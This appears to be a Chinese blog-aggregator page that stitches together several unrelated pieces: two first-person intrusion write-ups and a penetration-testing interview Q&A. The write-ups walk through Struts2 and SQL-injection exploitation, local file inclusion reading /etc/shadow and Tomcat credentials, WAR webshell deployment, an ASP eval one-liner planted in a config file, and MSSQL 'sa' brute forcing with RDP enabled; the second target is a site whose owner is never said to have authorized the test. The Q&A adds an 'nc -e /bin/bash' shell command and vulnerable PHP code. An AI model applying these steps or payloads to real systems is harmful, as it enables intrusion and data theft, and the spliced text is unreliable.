精华内容
下载资源
问答
  • 企业渗透测试指南

    2018-10-23 23:24:09
    企业渗透测试指南,渗透测试类型及方法概述,帮助了解企业渗透测试流程
  • 企业渗透测试和持续监控在线课程是白帽艺术系列视频的一部分,通过内部/外部侦察、社会工程、网络和漏洞扫描,逐步示范了对企业网络进行安全评估(渗透测试)的现实场景。 您还将学习如何执行web应用程序测试、内部...
  • 相对于沙龙现场的大部分乙方安全人员不同,香克斯现就职于某大型甲方公司,他曾为了锻炼自己的技术能力,了解大型企业的安全布控,在多个不同的甲方单位工作过。将防守者的视角和攻击者的视角进行对比,也许能让你...
  • 企业渗透测试介绍

    2017-12-01 10:13:53
    随着IT安全产业的迅速发展,大量新技术、新领域不断涌现,使得我们能够更好地理解和正确地维护网络安全。然而由于许多商业性机构经常会错误理解安全评估的不同类型,导致人们常会把漏洞扫描和渗透测试搞混。
  • 论文研究-高技术向纺织企业渗透临界规模研究.pdf, 从高技术渗透经济规律出发, 分析了高技术向纺织企业渗透临界规模的影响因素. 应用邹氏逐步检验法对长春纺织厂的微...
  • Kali Linux 网络安全渗透测试

    万人学习 2019-06-02 10:28:53
    网络安全未来10年的发展前景 现代人的生活与网络息息相关,个人、企业信息的安全显示尤为重要,2018年报告的信息安全事件比2017年有所增加,一年几千万次。应对网络安全挑战,已越来越被重视。不管你是否从事网络...
  • 手动测试作为自动测试的一种补充,是渗透测试过程中必不可少的一个重要部分。渗透测试不同于传统的安全扫描,在整体风险评估框架中,脆弱性与安全扫描的关系可描述为“承上”,是对扫描结果的一种验证和补充。

         如果把企业的信息安全管理比作牙齿护理,安全服务公司比作牙医,那么企业自己定期进行渗透测试自查就好比刷牙和使用牙线,如今几乎所有安全顾问公司都会建议企业重视渗透测试检查,这样可以有效避免很多浅显而严重的失误和漏洞。


    可能有的人要问:什么是渗透测试?根据悬镜安全实验室给出的定义:是资深安全专家在客户授权委托的情况下,完全模拟黑客可能使用的攻击技术和漏洞挖掘技术,对在线目标系统做全方位的渗透攻击测试,提前发现系统潜在的各种高危漏洞和安全威胁。


    针对不同的应用,服务的方式也是不尽相同。下面小编结合目前悬镜实验室推出的渗透测试业务做详细说明,让您更清楚哪一个服务适合您?

    01.针对单个web应用

    web应用主要指的是网站。一般公司都会有网站,网站打不开,被注马,SQL,xss注入也是非常正常的一件事情。

    高级安全工程师经客户授权,以外网普通用户访问模式对所有互联网可以访问的在线系统、web应用和服务器系统进行的渗透攻击测试服务,帮助客户挖掘高危应用安全漏洞及修复漏洞,及时规避黑客入侵风险。


    渗透测试内容:


    02.针对单个APP进行渗透测试

    高级安全工程师经客户授权,以互联网普通用户访问模式对目标移动应用进行渗透攻击测试服务,帮助客户挖掘高危应用安全漏洞及修复漏洞,及时规避黑客入侵风险。


    渗透测试内容:


    除了针对web应用和APP的渗透测试,悬镜安全实验室还推出一款针对安卓APP进行自动化的“天玄风险评估系统”。

    这个主要是一款针对安卓APP进行安全评估的。对安卓App涉及病毒、木马、权限失控、反编译、二次打包等安全问题,以及自身风险、漏洞进行定制化全方位深度检测,并提供详细有针对性的修复建议。

    这个时候肯定会有人问:渗透测试与安全检测的区别?

    安全测试不同于渗透测试,渗透测试侧重于几个点的穿透攻击,而安全测试是侧重于对安全威胁的建模,系统的对来自各个方面,各个层面威胁的全面考量。

    安全测试可以告诉您,您的系统可能会来自哪个方面的威胁,正在遭受哪些威胁,以及您的系统已经可抵御什么样的威胁。

    渗透测试考虑的是以黑客方法,从单点上找到利用途径,证明你有问题,帮助客户提高认识,也能解决急迫的一些问题,但无法也不能去针对系统做完备性的安全测试,所以难以解决系统自身实质性的安全问题,所以提供渗透测试的厂商一般都是自己买什么防护设备,以自己防护设备针对的威胁为主要渗透点,找到你有类似的问题,解决方案就以卖对应的防护设备作为手段,针对具体的威胁,通过防护设备采取被动的防护。

    而安全测试的厂商,则从整体系统 架构,安全编码,安全测试,安全测试覆盖性,安全度量等多个因素去考虑问题,提出的解决方法则是逐步帮助客户引入安全开发过程,提供相应的工具支撑,目标是最后让客户提升业务系统自身实质性安全问题。

    安全测试首先会对被测试系统做系统分析,分析其架构,软件体系以及程序部署等等,然后再对被测系统做系统安全分析,在这之后会对系统进行安全建模,明确本系统可能来自的各个潜在威胁,之后需要剖析系统,确认有哪些攻击界面,根据测试方案进行测试。

    现在很多企业对于渗透测试理解的还是比较浅薄,但根据小编关于渗透测试服务的类型以及服务内容来看,可以保证业务的正常运行,防止不明攻击带来的破坏。而安全测试则更侧重于开发阶段就需要对架构的设计做一个安全测试分析。

    如果企业刚开始没有注意安全方面,小编建议可以先做一个渗透测试,提前帮助企业规避掉很多的麻烦。 既然有自动化,那手动测试的必要性?

    手动测试作为自动测试的一种补充,是渗透测试过程中必不可少的一个重要部分。渗透测试不同于传统的安全扫描,在整体风险评估框架中,脆弱性与安全扫描的关系可描述为“承上”,是对扫描结果的一种验证和补充。

    另外,渗透测试相对传统安全扫描的最大差异在于渗透测试需要大量的人工介入的工作。

    这些工作主要由专业安全人员发起,一方面,他们利用自己的专业知识,对扫描结果进行深入的分析和判断。另一方面则是根据他们的经验,对扫描器无法发现的、隐藏较深的安全问题进行手工的检查和测试,从而做出更为精确的验证(或模拟入侵)行为。

    安普诺旗下悬镜安全实验室,实验室核心成员来自北京大学信息安全实验室,具有多年的漏洞挖掘、逆向分析、机器学习等核心技能。

    目前,实验室主要职责是前沿安全技术研究和为企业客户提供专业的安全服务和安全咨询,主要包括基于深度学习的Web威胁检测引擎研究、恶意样本分析、高级渗透测试服务、主机安全巡检服务、应急响应服务、服务器防黑加固服务等方面的安全工作。


    除此之外,悬镜安全实验室还负责全天候监控全球安全漏洞与威胁情报,自动化完成对重大安全漏洞、安全威胁情报收集,第一时间做出精准威胁预警,并提供实时有效威胁处置或缓解方案。

    目前,安普诺旗下的悬镜安全实验室已面向金融、电商、政企客户以及应用开发商等行业推出“云+端”一站式综合防黑加固解决方案。

    其中,企业安全服务主要包括高级渗透测试服务、安全巡检服务、应急响应服务、防黑加固服务等;安全产品主要包括悬镜服务器卫士、云脉Web威胁深度检测引擎、云诺Web威胁智能预警平台、云鉴漏洞扫描平台等。

    展开全文
  • 记一次对某企业渗透测试实战

    千次阅读 2018-06-25 16:08:52
    作者:Vulkey_Chen前言本文总结一下漫长的渗透测试过程,想尽了各种方法,终于找到了突破口。so没有绝对的安全,所谓的安全性其实都是相对的~信息踩点在这里其实没办法去做一些有价值的收集,只能踩点,踩坑。信息...

    作者:Vulkey_Chen

    前言

    本文总结一下漫长的渗透测试过程,想尽了各种方法,终于找到了突破口。so没有绝对的安全,所谓的安全性其实都是相对的~

    信息踩点

    在这里其实没办法去做一些有价值的收集,只能踩点,踩坑。

    信息难点:

    传输加密:

    要做渗透的目标是一个APP,根据抓到的请求包发现这个APP是经过某产品加固过的,所以HTTP的POST请求正文部分(Data)是神奇的密文~

    分析难点

    分析:

    • 信息踩点其实也是解决难点的过程,在这里我们尝试对APP进行逆向,发现并没有什么东西,因为被加固了。
    • 对APP进行功能的整理,逐个功能点进行抓包分析:
      • 请求正文(data)虽然是密文,但是请求的URI还是真正按照对应的功能去请求的(参考URI的命名和功能的相对应性)

    建立设想(A):

    在这里请教了师傅,说可能GET请求参数并没有经过加密,而后台很有可能是这样写的:

    <?php
    $mstsec = $_REQUEST['vulkey'];//注意这里使用的是$_REQUEST 默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。
    ?>
    • 一点即通,首先我可以去测试是否是真的这样的后端处理接收。
    • 为了满足第一步的验证,我需要想办法找到一个GET请求的包并且有带有GET参数,这样我才能判断规则,不然就是大海捞针。

    有价值的东西

    其实对APP做渗透测试,大部分情况下还是对网站做渗透测试。

    所以在这里抓包获取到的HOST,直接对其进行了前期的常规信息刺探(端口、目录、指纹…)

    中间件:Tomcat

    image.png

    目录开放:/fileUpload/

    端口开放:8001 1444

    APP三个功能点:个人用户、资金管理、生活栏目

    渗透开端

    一开始粗略的对整个APP进行抓包,然后做一些简单的测试,发现并没有那种明面上的漏洞(SQL注入、XSS等等…),但是获取了这几条URI:

    1. /userCenter/getUser [获取用户信息URI POST]
    2. /userCenter/pay/getSign?userSign= [获取Sign POST]
    3. /userCenter/life/showShop?pId= [获取商品信息 GET]
    4. /userCenter/showQRcode [获取二维码图片 POST]

    不小心日偏

    仔细的对每个功能点进行测试的时候,抓到了一些”逃出加固命运”的明文报文。

    • 发现了S2-005这个历史悠久的Struts2框架远程代码执行问题:

    执行了whoami

    image.png

    • 发现了SQL注入,这里需要做一些简单的绕过(e.g. AandND 1 like 1):

    image.png

    然而没看清楚,一下次给日错地方了…很尴尬。

    关联分析

    日偏后我分析了一下两者的特征,发现应该出自同一个程序员之手,并且这个程序员很喜欢使用驼峰命名法…

    验证设想(A)

    在这里我尝试根据每个URI功能点生成GET请求参数的dict:

    • /userCenter/getUser [获取用户信息URI POST]

      dict: [uId, userId, uName, userName ...]

    • /userCenter/showQRcode [获取二维码图片 POST]

      dict: [uId, userId, uName, userName, imagePath, filePath, codePath, fileName ...]

    生成请求:

    GET /userCenter/getUser?uId=10001
    GET /userCenter/getUser?userId=10001
    GET /userCenter/getUser?uName=test001
    GET /userCenter/getUser?userName=test001
    ...
    GET /userCenter/showQRcode?uId=10001
    GET /userCenter/showQRcode?userId=10001
    GET /userCenter/showQRcode?uName=test001
    GET /userCenter/showQRcode?userName=test001
    GET /userCenter/showQRcode?imagePath=../../index.do
    GET /userCenter/showQRcode?filePath=../../index.do
    GET /userCenter/showQRcode?codePath=../../index.do
    GET /userCenter/showQRcode?fileName=../../index.do
    ...

    结论

    现实残酷,打败了设想。

    绝处逢生

    就在想放弃的时候,决定打算”垂死挣扎”一下,重新开始”审视”了各个功能模块,眼光又转到了这个二维码地方。(因为二维码的”皮相”,所以很多人都会忽略它)

    image.png

    这里我去解析了二维码的地址:

    image.png

    失算…失算…,当去访问这个地址的时候,响应报文中会多出这样的头:

    ...
    Set-Cookie: USESSIONPID=xxx;
    ...
    
    jpg content

    这时候我就知道是时候修改uId了,然而修改了没用,根据多年的经验(吹牛)我认为是uSign参数起了作用,这时候对uSign进行删除发现不行,会提示uSign参数不存在,当我置空这个参数,发现居然成功了又返回了用户的Cookie凭证…好吧,说明这里有一个逻辑问题…

    到这下去就很简单了,获取管理员权限有上传点,测试使用jhtml的后缀可以直接绕过上传,但是上传上去之后,直接访问就给你download下来了(很多次遇到这种问题…)

    好吧,管理员也没啥能危害到服务器的东西了…不过回过头再来看看,二维码这个点还没啃完呢,fileName这个参数还没去测试,fuzzdb了解一下,先怼lfi的字典进去跑(有个坑这里一定要填写完整[uId, uSign]),然后再进行Fuzz:

    image.png

    从intruder模块(BurpSuite)的测试结果发现这里是可以读取文件的,并且判断这个web服务是root权限运行的因为我修改fileName参数的值为../../../etc/shadow时我直接可以获取到文件的内容,从而获取root账号权限的密码:

    image.png

    (解密不了),怎么通过这个本地文件读取漏洞拿到shell?我的思路是通过读取tomcat的密码配置文件然后进入tomcat的Web管理部署war包进行getwebshell,但是这里做了一圈的目录猜解,死活没找到tomcat的应用目录…

    读取/root/.bash_history啊(这个文件是记录root用户输入过的命令-老师傅提醒到),突然间我茅塞顿开,是啊,一般运维人员会通过命令行进行管理,那么肯定会有目录出现啊。

    我修改fileName参数的值为../../../root/.bash_history,搜索下关键词tomcat就发现了:

    image.png

    成功的发现了root用户的命令历史并且找到了Tomcat的应用安装路径,那么我只需要修改fileName的参数值为../../../../home/apache-tomcat-7.0.67/conf/tomcat-users.xml,直接就可以读取到Tomcat的管理员账号权限,从而直接通过外部访问的形式进入Tomcat的管理界面进行控制。

    image.png

    登录进来之后直接到WAR file to deploy功能点,进行war包的部署(在这里使用压缩的方式将网站后门压缩成zip格式然后修改后缀名.zip为.war即可),点击Browser选择war包然后点击Deploy:

    image.png

    这里部署上去之后回到Applications功能点,可以看到部署的情况,点击你的命名链接然后加上你压缩的文件名(这里我的是 /vulkey/vulkey.jsp)使用Webshell管理工具进行管理,看见了我久违的界面,久违的root权限:

    image.png

    总结

    因为后渗透可能会影响正常业务的运行,所以没有继续进行下去,很遗憾,希望下次有机会。
    END:
    送给大家一句话:心细则挖天下。

    有问题大家可以留言哦,也欢迎大家到春秋论坛中来耍一耍  >>>点击跳转

    展开全文
  • 企业内网横向渗透检测和拦截实践 安全众测 网络安全 法律法规 渗透测试 移动安全
  • 20210719-中信证券-精达股份-600577-电机电磁线优质企业,受益扁线渗透率提升.pdf
  • 渗透测试某知名中国内网 Linux本地包含漏洞测试国外网站VXXXvvvvvvvGHVHGGHY 利用CVE-2014-6332IE全版本漏洞测试邻居XP电脑 实战入侵邻居安卓手机 多种方法免杀metasploitpayload 简述如何有效防御各类漏洞攻击
  • 人们经常提到,能够建立最好安全性的方式就是通过尝试入侵来进行测试,这正是安全初创企业vThreat的目标。通过任命新的CEO,设定2016年的市场占有率发展目标,该公司正尽力在网络安 vThreat的主营业务是模拟攻击,...
  • 一次完整的渗透测试

    2019-05-29 00:16:00
    目标网站:39.xxx.xxx.xxx 一阶段前台测试: 1、前台存在登陆入口且无验证码(肯定要暴力破解啊) 2、前台url参数处加敏感字符数据库报错存在sql注入 3、前台登陆处输入危险字符,数据库报错存在post注入......

    目标网站:39.xxx.xxx.xxx

     

     一阶段前台测试:

    1、前台存在登陆入口且无验证码(肯定要暴力破解啊)

    2、前台url参数处加敏感字符数据库报错存在sql注入

    3、前台登陆处输入危险字符,数据库报错存在post注入

    测试结果如下:

    暴力破解获得

    用户名:admin

    密码:123456

     

     

     

     

    利用sqlmap跑注入并没有跑出任何数据

    只能登陆看一下了

     

     

    二、登陆前台测试

    利用前台的会员登陆发现有使用第三方编辑器(并没有找到可利用漏洞)

    存在xss漏洞

    存在sql注入漏洞

     

     

     

     

     

     

     

     

     

     

     

     在登陆的状态下继续进行sql注入(burp  copyto file )发现跑出来一个表

     

     

     

     

     

     

     只跑出了当前账户和一个同级账户

    到这里看了眼后台还是一脸懵逼

     

     

     

    三、黑盒已经不好搞了,下载同类CMS

    搭建环境撸一把

    把相同源码cms数据库表名

    将对应表明加入sqlmap库中

    路径:sqlmap/txt/common-tables.txt

    (表名一定要放前边放最后要跑一年的)

    继续sqlmap跑、

     

     

     

     成功进入后台

     

    四、getshell


    进入后台之后发现编辑器两个

    文件上传白名单,试了很久,基本行不通了

    后台依旧存在XSS漏洞(这里的XSS可以利用拿到后台管理员cookie)

     

     

     搞了半天发现又遇到瓶颈了

    再去撸一把源码

    发现当更新缓存的时候,根目录下多了一个HTML文件修改html文件后发现报错

    在后台参数配置处修改配置发现报错

    审查代码发现代码漏洞

     

    anxinMall.basic.asp是一个ASP文件考虑写入一句话

    本地构造payload(这里随便改点东西网站就瘫了如果在目标网站那肯定凉凉了)

    "%> <%eval request ("pass")%> <%'

     

     

    菜刀连接、

     

     

     

     五、提权、

     nmap扫描发现目标开放1433端口

    msf对1433端口sa进行爆破

     

    爆破成功

    mssql账号和密码为:sa /123456

    使用msf命令执行模块,执行最终的dos命令

    use auxiliary/admin/mssql/mssql_exec

    开启3389端口并且建立管理用户以后

    利用HTTP隧道进行连接3389(绕过防火墙)

    详细方法见下面的网址

    https://www.cnblogs.com/xiaoyunxiaogang/p/10939485.html

    另外可以

    通过MSFVenom生成exe后门木马拿shell

     

    转载于:https://www.cnblogs.com/xiaoyunxiaogang/p/10941297.html

    展开全文
  • 挖洞也有分很多种类型,一种是以渗透、一种是以找漏洞为主,如果是前者会想各种办法获取权限继而获取想要的的东西完成渗透目标,这类跟HW类似,目标各种漏洞不算,要有Shell,服务器权限才给分,这才是最接近实战...

    转自HACK之道 乌雲安全 2020-12-28

    img

    渗透篇

    0.渗透测试知识体系结构

    img

    1、介绍一下自认为有趣的挖洞经历

    挖洞也有分很多种类型,一种是以渗透、一种是以找漏洞为主,如果是前者会想各种办法获取权限继而获取想要的的东西完成渗透目标,这类跟HW类似,目标各种漏洞不算,要有Shell,服务器权限才给分,这才是最接近实战渗透,跟某部门有合作的话也是属于这种打击网络犯罪获得权限、传销数据、组织架构,服务器权限、等…

    2、你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?

    SQL注入、密码组合,前者防护分为几种,CDN -> Web -> 数据库 -> 主机,设置最小权限来应对。密码组合根据个人习惯

    3、php/java反序列化漏洞的原理?解决方案?

    php中围绕着serialize(),unserialize()这两个函数,序列化就是把一个对象变成可以传输的字符串,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

    O:7:“chybeta”:1:{s:4:“test”;s:3:“123”;}

    这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。7表示对象的名称有7个字符。"chybeta"表示对象的名称。1表示有一个值。{s:4:“test”;s:3:“123”;}中,s表示字符串,4表示该字符串的长度,"test"为字符串的名称,之后的类似。当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

    JAVA Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

    4、如果一台服务器被入侵后,你会如何做应急响应?

    1.准备相关的工具,查后门等工具

    2.初步判断事件类型,事件等级。

    3.抑制范围,隔离使爱害面不继续扩大

    4.查找原因,封堵攻击源。

    5.业务恢复正常水平.

    6.总结,报告,并修复、监控

    以上是常规的回答,想知道你是否有这方面应急相关的经验,像这类问题甲方面试比较多。

    5、你平时使用哪些工具?以及对应工具的特点?

    AWVS、Masscan、BurpSuite

    AWVS常规漏洞扫描,masscan快速查找端口,burp重复提交数据包

    想知道是否有自己开发工具,如果没有你对每个安全工具有哪些独特的见解以及别人不知道的技巧用法。如:awvs如何批量扫描?burpsuite如何爆破401、脱库等、等等…

    6、如果遇到waf的情况下如何进行sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一)

    PHP上传,无法上传php、解析、后台没有办法拿到,只有一处点可以上传。通过Windows特性shell.php::$DATA,是一个项目管理系统

    7、如何判断sql注入,有哪些方法

    提交错误语句是否有异常,除此之外这些显示的错误可以通过sleep,修眠语句执行5秒等,除此之外通过DNSlog判断是还有传回值

    8、如何判断 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?

    select * from news where id = ‘$SQL’;

    当程序执行访问新闻等一些操作都会执行到sql语句进行调用,如果在此调用过程中,提交了不合法的数据,而数据库无法识别则会报错。也就是一切输入都是有害的。

    注入类型有6种,可以参考SQLMAP,报错、盲注、联合、时间、内联、堆叠

    注入提交方式:GET、POST、Cookies、文件头

    利用方式:具体看什么数据库类型,像SQLSERVER可以命令执行,MYSQL写shell有些权限大也可以执行命令但是条件是在lINUX环境下。

    防范:边界,CDN -> 脚本语言过滤 -> 数据库过滤最小权限 -> 主机

    9、为什么有的时候没有错误回显

    没有进行错误打印或者错误屏蔽

    10、宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造?

    在mysql中使用了gbk编码,占用2个字节,而mysql的一种特性,GBK是多字节编码,它认为两个字节就代表一个汉字,所以%df时候会和转义符\ %5c进行结合,所以单引号就逃逸了出来,当第一个字节的ascii码大于128,就可以了。

    11、CRLF注入的原理

    CRLF注入在OWASP 里面被称为HTTP拆分攻击(HTTP Splitting)CRLF是”回车 + 换行”(\r\n)的简称,在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行

    12、mysql的网站注入,5.0以上和5.0以下有什么区别?

    5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

    5.0以下是多用户单操作,5.0以上是多用户多操做。

    13、php.ini可以设置哪些安全特性

    禁用PHP函数

    允许include或打开访问远程资源

    14、php的%00截断的原理是什么?

    因为在C语言中字符串的结束标识符%00是结束符号,而PHP就是C写的,所以继承了C的特性,所以判断为%00是结束符号不会继续往后执行

    条件:PHP<5.3.29,且GPC关闭

    15、webshell检测,有哪些方法

    grep、关键词、关键函数

    安全狗、D盾

    16、php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?

    if ($_GET[‘file’]){

    include $_GET[‘file’];

    }

    包含的文件设置为变量,并且无过滤导致可以调用恶意文件 还可以对远程文件包含,但需要开启allow_url_include = ON 通过测试参数的地方进行本地文件/etc/passwd等包含 如何存在漏洞而且没有回显,有可能没有显示在页面而是在网页源代码中,除些可以利用DNSlog进行获取包含的信息。从index.php文件一级级往读取 也可以利用PHP封装协议读取文件

    17、说说常见的中间件解析漏洞利用方式

    IIS 6.0

    /xx.asp/xx.jpg "xx.asp"是文件夹名

    IIS 7.0/7.5

    默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

    Nginx

    版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。

    空字节代码 xxx.jpg%00.php

    Apache

    上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

    18、mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式?

    mysql -> users

    SHA1

    19、Windows、Linux、数据库的加固降权思路,任选其一

    禁用root

    禁止远程访问

    禁止写入

    单独帐号

    禁止执行system等函数

    20、你使用什么工具来判断系统是否存在后门

    Chkrootkit

    Rkhunter

    31、如何绕过CDN获取目标网站真实IP,谈谈你的思路?

    类似phpinfo、网站信息

    C段、子域名

    历史解析记录

    DDOS

    zmap全网扫描识别http头

    网站域名管理员邮箱,注册过的域名等相关信息关联

    22、如果给你一个网站,你的渗透测试思路是什么? 在获取书面授权的前提下。

    其实这是一个非常大的话题,渗透大部分思路都是如此,而面试官是想听到你回答不一样的答案让人眼前一亮 如何才做到让人眼前一亮都需要看你的经验,把你实践的过程拿出来说,以及遇到什么问题如何解决,最终取得成果 渗透其它大同小异,而做为渗透者知识的储备、基础扎实、耐心、细心都是必不可少。

    23、谈一谈Windows系统与Linux系统提权的思路?

    Windows

    Windows服务比较多所以方法也如此,最基本的就是Exp提权,数据库SQLServer、MYSQL UDF等、第三方软件提权。

    除此之外提权的成功与否和在于信息收集也非常重要,你对这台服务器和管理员了解多少。

    windows权限提升(二)

    Linux

    Linux也是类似,除了EXP或者高版本的内核无法提权之外,通过第三方软件和服务,除了提权也可以考虑把这台机器当跳版,

    达到先进入内网安全防线最弱的地方寻找有用的信息,再迂回战术。

    linux权限提升

    Brief

    枚举脚本

    以root权限运行的程序

    用户安装的软件

    弱口令或者明文密码

    只能内部访问的服务

    suid和guid错误配置

    滥用sudo权限

    以root权限运行的脚本文件

    错误的路径配置

    计划任务

    未挂载的文件系统

    NFS共享

    通过键盘记录仪窃取密码

    其它有用的和提权相关的东西

    内核提权

    24、列举出您所知道的所有开源组件高危漏洞(十个以上)

    Tomcat

    Nginx

    Apache

    Hadhoop

    Docker

    Jenkins

    Zenoss

    Jboss

    MongoDB

    Redis

    GlassFish

    25、反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

    nc -lvvp 7777 -e /bin/bash

    bash是交互式,否则像useradd无法执行交互

    26、CMD命令行如何查询远程终端开放端口

    tasklist /svc

    netstat -ano

    27、服务器为IIS+PHP+MySQL,发现root权限注入漏洞,讲讲你的渗透思路

    可以读取IIS信息,知道路径,如果像WAMMP类似构建,通过@@datadir知道数据库路径也可以猜测网站路径。

    或者直接写Shell

    28、请写出Mysql5数据库中查询库’helloworld’中’users’表所有列名的语句

    select COLUMN_NAME from information_schema.COLUMNS where table_name = ‘your_table_name’ and table_schema = ‘your_db_name’;

    29、下面这段代码存在漏洞吗?如果存在请说出存在什么漏洞并利用

    http://www.exp.com/1.php

    <?php $s_func = $_GET['s_func']; $info = $_GET['info']; $s_func($info); ?>

    代码执行,通过assert调用

    30、udf提权

    MySQL可以自定义函数,通过自定义函数做到类似xp_cmdshell效果

    31、SQL头注入点

    UserAgent

    Referer

    Cookie

    X-FOR-I

    32、php中命令执行涉及到的函数

    eval()

    assert()

    system()

    exec()

    shell_exec()

    33、SSRF漏洞的成因 防御 绕过

    模拟服务器对其它资源进行请求 IP探测,如果想漏洞利用必需要构造好Payload 禁止跳转,限制协议,内外网限制,URL限制 针对IP格式

    34、mysql写shell有几种方法

    outfile、dumpfile、开启log写webshell

    35、Metasploit 打开反向监听的命令

    use exploit/multi/handler

    set payload windows/meterpreter/reverse_tcp

    36、应急响应的步骤

    1.准备已经编译好的工具以及取证分析等工具干净可靠放U盘

    2.初步判断事件的类型,是被入侵、ddos还是其它的原因

    3.首先抑制范围、影响范围,隔离使受害面不继续扩大。

    4.寻找原因,封堵攻击源。

    5.把业务恢复至正常水平

    6.监控有无异常,报告、管理环节的自省和改进措施。

    37、有哪些反向代理的工具?

    reGeirg、EW、lcx、Ngrok、frp

    38、有什么比较曲折的渗透经历

    这个问题想知道你工作渗透到什么样的程度,只是简单的漏扫搬砖,还是有毅力坚持完成整个渗透,如:对目标不放弃,坚持一个月最终通过各种手段,曲折的过程拿下目标。

    39、UpdateTime:2019.5.11

    怎么查找域控?方法有很多 :

    1. 通过DNS查询

    dig -t SRV _gc._tcp.lab.ropnop.com

    dig -t SRV _ldap._tcp.lab.ropnop.com

    dig -t SRV _kerberos._tcp.lab.ropnop.com

    dig -t SRV _kpasswd._tcp.lab.ropnop.com

    1. 端口扫描

    域服务器都会开启389端口,所以可以通过扫描端口进行识别。

    1. 其实很多域环境里,DNS服务器就是域控制根本不需要怎么找。

    2. 各种命令

    dsquery

    net group “Domain controllers”

    nltest /DCLIST:pentest.com

    前端篇

    1、什么是同源策略?

    源就是主机、协议、端口名的一个三元组 同源策略(Same Origin Policy, SOP)是Web应用程序的一种安全模型,被广泛地应用在处理WEB内容的各种客户端上,比如各大浏览器,微软的Silverlight,Adobe的Flash/Acrobat等等。

    2、XSS 能用来做什么?

    网络钓鱼、窃取用户Cookies、弹广告刷流量、具备改页面信息、删除文章、获取客户端信息、传播蠕虫

    3、XSS的三种类型,防御方法

    反射型、Dom Base XSS、存储型 防御方法这个只能说个大概,毕竟这是一个比较大的话题,而且防御的方法还得看所在的业务等。从网络层、主机层、Web层、数据库,通过CDN都有过滤常见一些攻击手法,但不能有CDN就以为可以了,添加CDN只是让攻击成本增高,开启HttpOnly,以防确实存在避免cookies被获取,CSP策略、再就是语言中提供的函数对输入过滤,以及输出编码以及ModSecurity类的防火墙。

    4、存储型xss原理?

    如网站留言版,把插入的记录存储在数据库中,插入的代码会一直留在页面上,当其它用户访问会从数据库中读取并触发漏洞。

    5、你怎么理解xss攻击?

    是一种被动型,在不知道的情况下触发类似无感型,在渗透很多情况下平常的渗透手段以及取得目标的信息,而XSS就能轻松获取,类似QQ邮箱你不可能渗透这么大的互联网就算可以时间成本都非常的高,XSS比较有针对性。

    6、如何快速发现xss位置?

    各种输入的点,名称、上传、留言、可交互的地方,一切输入都是在害原则。

    7、Dom xss 原理/防范

    DOM型XSS并不需要服务器解析响应的直接参与触发XSS靠的是浏览器DOM解析 DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。

    cument.getElementById(“a”).innerHTML=“yyyyyy”;

    在输入点过滤敏感关键字

    8、DOM型XSS与反射型XSS区别?

    DOM型就是JavaScript中的Document对象HTML注入,直接浏览器处理。

    9、如何使得前端 referer 为空

    通过地址栏输入、从书签里面选择或者浏览器的插件BurpSuite修改。

    10、cookie参数,security干什么的

    Httponly:防止cookie被xss偷

    https:防止cookie在网络中被偷

    Secure:阻止cookie在非https下传输,很多全站https时会漏掉

    Path :区分cookie的标识,安全上作用不大,和浏览器同源冲突

    11、如果 SRC 上报了一个 XSS 漏洞,payload 已经写入页面,但未给出具体位置,如何快速介入?

    看是否什么类型的XSS,XSS反射型看提交的地址,指的参数是哪个位置,通过这个页面进行fuzzing测试。如果是存储型页面查找关键字。

    12、XSS, CSRF, CRLF比较容易弄混,说说三者的原理,防御方法

    CSRF跨站请求伪造,构靠已知的所有参数让对方访问,

    防护CSRF: 防御原理:不让你那么容易伪造请求(cookie中加入随机数,要求请求中带上,而攻击者获取不到cookie中的随机数,验证HTTP Referer字段,在请求地址中添加takon验证

    CRLF原理:

    HTTP拆分攻击(HTTP Splitting),CRLF是”回车 + 换行”(\r\n)的简称。

    在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

    13、csrf 如何不带referer访问

    通过地址栏,手动输入;从书签里面选择;通过实现设定好的手势。上面说的这三种都是用户自己去操作,因此不算CSRF。

    跨协议间提交请求。常见的协议:ftp://,http://,https://,file://,javascript:,data:.最简单的情况就是我们在本地打开一个HTML页面,这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。那么我们接下来可以利用data:协议来构造一个自动提交的CSRF攻击。当然这个协议是IE不支持的,我们可以换用javascript:

    14、CSRF 成因及防御措施;如果不用 token 如何做防御?

    X-Frame-Options

    DENY(禁止被 加载进任何frame)

    SAMEORIGIN(仅允许被加载进同域内的frame)

    X-XSS-Protection

    0(表示禁止用这个策略)

    1(默认,对危险脚本做一些标志或修改,以阻止在浏览器上熏染执行。)

    1;mode=block(强制不熏染,在Chrome下直接跳转到空白页,在IE下返回一个#符号)

